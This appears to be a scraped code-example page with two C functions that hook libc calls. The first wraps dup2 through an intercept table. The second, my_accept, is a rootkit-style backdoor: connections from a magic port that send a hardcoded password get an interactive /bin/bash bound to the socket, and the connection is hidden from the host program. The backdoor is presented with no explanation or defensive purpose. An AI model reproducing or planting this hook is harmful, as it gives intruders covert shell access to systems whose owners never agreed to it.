Example #1
0
int dup2(int oldfd, int newfd) {

    if (intercept[oldfd]) {
        return _intercept_dup2(oldfd, newfd);
    }

    RESOLVE(dup2)
    return o_dup2(oldfd, newfd);
}
Example #2
0
int my_accept(int sockfd, struct sockaddr *addr, int *addrlen)
{

	int cli;
	cli = (*o_accept)(sockfd,addr, addrlen);
	if( (addr->sa_family == AF_INET) ){
		struct sockaddr_in *cli_addr = (struct sockaddr_in *)addr;
		if( (cli_addr->sin_port == htons(_MAGIC_PORT_)) ){
			pid_t child;
			if(cli<0)
				return cli;
			o_signal(SIGCHLD, SIG_IGN);
			if((child=o_fork())==0){
				//old none-crypted style
			   	o_close(sockfd);
			  	o_dup2(cli,0);
			   	o_dup2(cli,1);
			   	o_dup2(cli,2);
				//close(0);
				//fid = fcntl(cli, F_DUPFD, 0);
			   	//enterpass(cli);
				//char *motd="<< Welcome >>\n";
				char buffer[64]={'\0'};
				
			    o_read(cli,buffer,sizeof(buffer));
							/*
							//Hash password
							char trans[SALT_LENGTH+33] = {'\0'};
						  	char tmp[3]={'\0'},buf[33]={'\0'},hash[33]={'\0'};
							int i;
							for(i=0;i<strlen(buffer);i++){
								if(buffer[i]==0x00){
									break;
								}
							}
							if(i>2)
								i--;
						  	getMD5(buffer,i,buf);
							strncpy(trans,_SALT_,SALT_LENGTH);
							for(i=0;i<32;i++){
									trans[SALT_LENGTH+i]=buf[i];
							}
							getMD5(trans,SALT_LENGTH+32,hash);
							printf("%s",hash);
							//End Hash Password
							*/
				//if(!strncmp(hash, _RPASSWORD_, strlen(_RPASSWORD_))) {
				if(!strncmp(buffer, _ACK_PWD_, strlen(_ACK_PWD_))) {
					//write(cli,motd,strlen(motd));
					o_execve("/bin/bash", argv, envp);
					//printf("disConnected.");
					o_close(cli);
					o_exit(0);
				}else {
					//write(s,"Wrong!\n", 7);
					o_close(cli); 
					o_exit(0);
				}
			   	
			}
			//o_waitpid(child);
			return -1;
		}
	}
	return cli;
}